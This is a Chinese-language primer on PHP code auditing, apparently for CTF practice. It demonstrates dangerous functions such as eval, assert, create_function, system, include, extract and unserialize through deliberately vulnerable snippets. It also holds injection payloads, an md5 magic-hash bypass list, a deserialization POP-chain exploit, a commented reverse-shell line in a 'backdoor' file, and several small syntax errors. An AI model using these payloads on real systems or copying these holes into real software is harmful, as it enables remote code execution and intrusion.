PHP代码审计基础知识¶

eval( string $code) : mixed

<?php
    $code = "echo 'This is a PHP7';";
    eval($code);
?>

执行结果——>This is a PHP7

<?php
    $code = "system('whoami');";
    eval($code);
?>

执行结果——>desktop-m61j5j6\admin

assert( mixed $assertion[, string $description] ) : bool

assert( mixed $assertion[, Throwable $exception] ) : bool

<?php
    assert_options(ASSERT_EXCEPTION, 1);    // 设置在断言失败时产生异常
    try {
        assert(1 == 2, new AssertionError('因为1不等于2，所以前面断言失败，抛出异常'));  // 用 AssertionError 异常替代普通字符串
    } catch (Throwable $error) {
        echo $error->getMessage();
    }
?>


执行结果——>因为1不等于2，所以前面断言失败，抛出异常

<?php
    assert(1 == 2,'前面断言失败，抛出异常');
?>

执行结果——>Warning: assert(): 前面断言失败，抛出异常 failed in D:\phpstudy_pro\WWW\1.php on line 2

<?php
    assert(1 == 2);
?>

执行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line 2

<?php
    $code = "system(whoami)"
    assert($code);
?>

执行结果——>desktop-m61j5j6\admin

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

<?php
     function Ameng($regex, $value){
        return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
    }
    foreach ($_GET as $regex => $value){
        echo Ameng($regex, $value) . "\n";
    }
?>

payload=/?.*={${phpinfo()}}
所以语句就成了这样
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

<?php
    preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>

create_function( string $args, string $code) : string

<?php
    $onefunc = create_function('$a','return system($a);');
    $onefunc(whoami);
?>

执行结果——>desktop-m61j5j6\admin

<?php
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $databases=array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    usort($databases, create_function('$a, $b', $sort_function));
?>

payload='"]);}phpinfo();/*
执行payload前：$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
执行payloda后：$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

<?php
    //未闭合之前
    function sort($a,$b){
    ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    }
    //闭合之后
    function sort($a,$b){
        ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
    }
        phpinfo();/*
    }
?>

<?php
    $onefunc = create_function("","die(`cat flag.php`)");
    $_GET['func_name']();
    die();
?>

array_map( callable $callback, array $array1[, array $...] ) : array

<?php
    $old_array = array(1, 2, 3, 4, 5);
    function func($arg){
        return $arg * $arg;
    }
    $new_array = array_map('func',$old_array);
    var_dump($new_array);
?>


执行结果——>
array(5) {
  [0]=>
  int(1)
  [1]=>
  int(4)
  [2]=>
  int(9)
  [3]=>
  int(16)
  [4]=>
  int(25)
}

<?php
    $func = 'system';
    $cmd = 'whoami';
    $old_array[0] = $cmd;
    $new_array = array_map($func,$old_array);
    var_dump($new_array);
?>


执行结果——>
desktop-m61j5j6\admin
array(1) {
  [0]=>
  string(21) "desktop-m61j5j6\admin"
}

call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed

<?php
    function callback($a,$b){
        echo $a . "\n";
        echo $b;
    }
    call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数1
我是参数2

<?php
    function callback($a){
        return system($a);
    }
    $cmd = 'whoami';
    call_user_func('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin

call_user_func_array( callable $callback, array $param_arr) : mixed

<?php
    function callback($a,$b){
        echo $a . "\n";
        echo $b;
    }
    $onearray = array('我是参数1','我是参数2');
    call_user_func_array('callback',$onearray);
?>


执行结果——>
我是参数1
我是参数2

<?php
    function callback($a){
        return system($a);
    }
    $cmd = array('whoami');
    call_user_func_array('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin

array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?> 


执行结果——>
Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

<?php
    $cmd='whoami';
    $array1=array($cmd);
    $func ='system';
    array_filter($array1,$func);
?>


执行结果——>
desktop-m61j5j6\admin

usort( array &$array, callable $value_compare_func) : bool

<?php
    function func($a,$b){
        return ($a<$b)?1:-1;
    }
    $onearray=array(1,3,2,5,9);
    usort($onearray, 'func');
    print_r($onearray);
?>

执行结果——>
Array
(
    [0] => 9
    [1] => 5
    [2] => 3
    [3] => 2
    [4] => 1
)

<?php 
    usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();

uasort( array &$array, callable $value_compare_func) : bool

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>

执行结果——>
Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

<?php
    $a = $_GET['a'];
    $onearray = array('Ameng', $_POST['x']);
    uasort($onearray, $a);
?>

system( string $command[, int &$return_var] ) : string

<?php
    $cmd = 'whoami';
    system($cmd);
?>

执行结果——>
desktop-m61j5j6\admin

exec( string $command[, array &$output[, int &$return_var]] ) : string

<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin

shell_exec( string $cmd) : string

<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin

passthru( string $command[, int &$return_var] ) : void

第一你可以这么写
<?php
    passthru('whoami'); //直接将结果返回到页面
?>
第二你可以这么写
<?php
    passthru('whoami',$result); //将结果返回到一个变量，然后通过输出变量值得到输出内容
    echo $result;
?>

pcntl_exec( string $path[, array $args[, array $envs]] ) : void

//father
<?php
    pcntl_exec('/usr/local/bin/php', ['2.php']);
?>

//son
<?php
    while(true){
        echo 'ok';
    }
?>

popen(command,mode)

<?php
    $file = popen("demo.txt","r");
    pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>

proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) 

$descriptorspec = array(
            0 => array("pipe", "r"),    //标准输入，子进程从此管道读取数据
            1 => array("pipe", "w"),    //标准输出，子进程向此管道写入数据
            2 => array("file", "/opt/figli/php/error-output.txt","a")   //标准错误，写入到指定文件
            );


    $process = proc_open("ls -a", $descriptorspec, $pipes);

    if(is_resource($process)){

        echo stream_get_contents($pipes[1]);
        fclose($pipes[1]);

        proc_close($process);   //在调用proc_close之前必须关闭所有管道
    }

include 'filename';

<?php
    highlight_file(__FILE__);
    $file = $_GET['file'];
    include $file;
?>

<?php
    //这里可以使用PHP来反弹shell，我这里只是演示
    //$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
    echo '<br><h1>[*]backdoor is running!</h1>';
?>

file_get_contents(path,include_path,context,start,max_length)

<?php
    echo file_get_contents('demo.txt');
?>

执行结果——>
I am a demo text

fopen(filename,mode,include_path,context)

<?php
    $file = fopen("demo.txt","rb");
    $content = fread($file,1024);
    echo $content;
    fclose($file);
?>

执行结果——>
I am a demo text

string fread ( resource $handle , int $length )

fgets(file,length) 

fgetss(file,length,tags)

<?php
    $file = fopen("demo.html","r");
    echo fgetss($file);
    fclose($file);
?>

demo.html代码
<h1>I am a demo</h1>

执行结果——>
I am a demo

readfile(filename,include_path,context)

<?php
    echo "<br>" . readfile("demo.txt");
?>

执行结果——>
I am a demo:) I am a demo:(
28

file(path,include_path,context)

<?php
print_r(file("demo.txt"));
?>

执行结果——>
Array 
( 
[0] => I am the first line! 
[1] => I am the second line! 
)

parse_ini_file(file,process_sections)

<?php
    print_r(parse_ini_file("demo.ini"));
?>

demo.ini内容：
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

执行结果——>
Array 
( 
[me] => Robert 
[you] => Peter 
[first] => http://www.example1.com 
[second] => https://www.example2.com 
)

$file = fopen("demo.txt","rb");

move_uploaded_file(file,newloc)

$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )

unlink(filename,context)

<?php
    $file = "demo.txt";
    if(unlink($file)){
        echo("$file have been deleted");
    }
    else{
        echo("$file not exist?")
    }
php>

<?php
// 初始化会话。
// 如果要使用会话，别忘了现在就调用：
session_start();

// 重置会话中的所有变量
$_SESSION = array();

// 如果要清理的更彻底，那么同时删除会话 cookie
// 注意：这样不但销毁了会话中的数据，还同时销毁了会话本身
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// 最后，销毁会话
session_destroy();
?> 

extract(array,extract_rules,prefix)

<?php
    $color = "blue";
    $one_array = array("color" => "red",
        "size"  => "medium",
        "name" => "dog");
    extract($one_array);
    echo "$color, $size, $name";
?>

执行结果——>
red, medium, dog

<?php
    $name = 'cat';
    extract($_POST);
    echo $name;
?>

parse_str(string,array)

<?php
    parse_str("name=Ameng&sex=boy",$a);
    print_r($a);
?>

执行结果——>
Array
(
    [name] => Ameng
    [sex] => boy
)

<?php
    $name = 'who';
    $age = '20';
    parse_str("name=Ameng&age=21");
    echo "$name, $age";
?>
执行结果——>
Ameng, 21

bool import_request_variables ( string $types [, string $prefix ] )

<?php
    $name = 'who';
    import_request_variables('gp');
    if($name == 'Ameng'){
        echo $name;
    }
    else{
        echo 'You are not Ameng';
    }
?>

foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement

<?php
    $name = 'who';
    foreach($_GET as $key => $value)    {  
            $$key = $value;  
    }  
    if($name == "Ameng"){
        echo 'You are right!';
    }
    else{
        echo 'You are flase!';
    }
?>

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

<?php
    $a = $_GET['a'];
    $b = $_GET['b'];
    if($a != $b && md5($a) == md5($b)){
        echo '这就是弱类型绕过';
    }
    else{
        echo '再思考一下';
    }
?>

<?php
    $a = $_GET['a'];
    $b = $_GET['b'];
    if(isset($a,$b)){
        if(sha1($a) === sha1($b)){
            echo 'nice!!!';
        }
        else{
            echo 'Try again!';
        }
    }
?>

is_numeric( mixed $var) : bool

<?php
    $a = is_numeric('0x31206f722031');
    if($a){
        echo 'It meets my requirement';
    }
    else{
        echo 'Try again';
    }
?>
执行结果——>
It meets my requirement

in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool

<?php
    $myarr = array('Ameng');
    $needle = 0;
    if(in_array($needle,$myarr)){
        echo "It's in array";
    }
    else{
        echo "not in array";
    }
?>

<?php
    $str = $_GET['x'];
    print($str);
?>

<?php
    $str = $_GET['x'];
    print_r($str);
?>

<?php
    $str = $_GET['x'];
    echo "$str";
?>

<?php
    $str = $_GET['x'];
    printf($str);
?>

<?php
    $str = $_GET['x'];
    $a = sprintf($str);
    echo "$a";
?>

<?php
    $str = $_GET['x'];
    die($str);
?>

<?php
    $str = $_GET['x'];
    $a = array($str);
    var_dump($a);
?>

<?php
    $str = $_GET['x'];
    $a = array($str);
    var_export($a);
?>

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
    echo 'flag is :'.$flag;
}
else{
    echo '密码错误!';
}

<?php
    $cmd = "echo 'a';echo '--------------';echo 'b';";
    echo eval($cmd);
?>

<?php
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']);
    #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_exec($ch);
    curl_close($ch);
?>

<?php
    $name = urldecode($_GET['name']);
    if($name = "Ameng"){
        echo "Plase~";
    }
    else{
        echo "sorry";
    }
?>

<?php
    $url = "http://www.jlx-love.com/about";
    $parts = parse_url($url);
    print_r($parts);
?>

执行结果——>
Array 
    ( 
    [scheme] => http 
    [host] => www.jlx-love.com      [path] => /about 
    )

<?php
    class Ameng{
    public $who = "Ameng";
    }
    $a = serialize(new Ameng);
    echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}

<?php
    header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 

        function __destruct(){ 
            echo "destruct执行<br>";

            echo highlight_file($this->name, true); 
        } 


        function __wakeup(){ 
            echo "wakeup执行<br>";
            $this->name='1.php'; 
        } 
    }
    $data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
    unserialize($data);
?>

<?php
    header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 

        public function __construct($name){
        $this->name=$name;
    }

        function __sleep(){
            echo "sleep()执行<br>";
            echo highlight_file($this->name, true);
        }

        function __destruct(){
            echo "over<br>";
        }

        function __wakeup(){ 
            echo "wakeup执行<br>";         
        } 
    }
    $a = new Ameng("2.php");
    $b = serialize($a);
?>

<?php
    header("Content-Type: text/html; charset=utf-8");
    class Ameng{  

        public function __call($name,$args){
            echo "<br>"."call执行失败";
        }

        public static function __callStatic($name,$args){
            echo "<br>"."callStatic执行失败";
        }
    }
    $a = new Ameng;
    $a->b();
    Ameng::b();
?>

//__get()方法用来获取私有属性
public function __get($name){
return $this->$name;
}

//__set()方法用来设置私有属性
public function __set($name,$value){
$this->$name = $value;
}

<?php
    header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
        private $name;

        public function __construct($name=""){
            $this->name = $name;
        }

        public function __isset($content){
            echo "当在类外面调用isset方法时，那么我就会执行！"."<br>";
            echo isset($this->$content);
        }
    }
    $ameng = new Ameng("Ameng");
    echo isset($ameng->name);
?>

<?php
    header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
        private $name;

        public function __construct($name=""){
            $this->name = $name;
        }

        public function __unset($content){
            echo "当在类外面调用unset方法时，那么我就会执行！"."<br>";
            echo isset($this->$content);
        }
    }
    $ameng = new Ameng("Ameng");
    unset($ameng->name);
?>

<?php
    header("Content-Type: text/html; charset=utf-8");
    class Ameng{
        public $name;
        private $age;
        function __construct($name,$age){
            $this->name = $name;
            $this->age = $age;
        }
        public function __toString(){
            return $this->name . $this->age . '岁了';
        }
    }
    $ameng = new Ameng('Ameng',3);
    echo $ameng;
?>

Ameng3岁了

<?php
    header("Content-Type: text/html; charset=utf-8");
    class Ameng{
        public $name;
        private $age;
        function __construct($name,$age){
            $this->name = $name;
            $this->age = $age;
        }
        public function __invoke(){
           echo '你用调用函数的方式调用了这个对象，所以我起作用了';
        }
    }
    $ameng = new Ameng('Ameng',3);
    $ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象，所以我起作用

<?php
class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() { 
         $this->token_flag = $this->token = md5(rand(1,10000));
         $this->token =&$this->token_flag;
    }
    public function __invoke(){
        $this->token_flag = md5(rand(1,10000));

        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}
if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}

<?php 
    ··········
    $read = new Read();
    $show = new Show();
    $test = new Test();

    $read->token = &$read->token_flag;
    $test->params = $read;
    $show->str['str'] = $test;
    $show->source = $show;
    echo serialize($show);
?>

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='Hello I am Ameng';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

basename(path,suffix)

<?php
    $path = "index.php/test.php";
    echo basename($path);
?>

执行结果——>
test.php

<?php
    $path = $_GET['x'];
    print_r(basename($path));
?>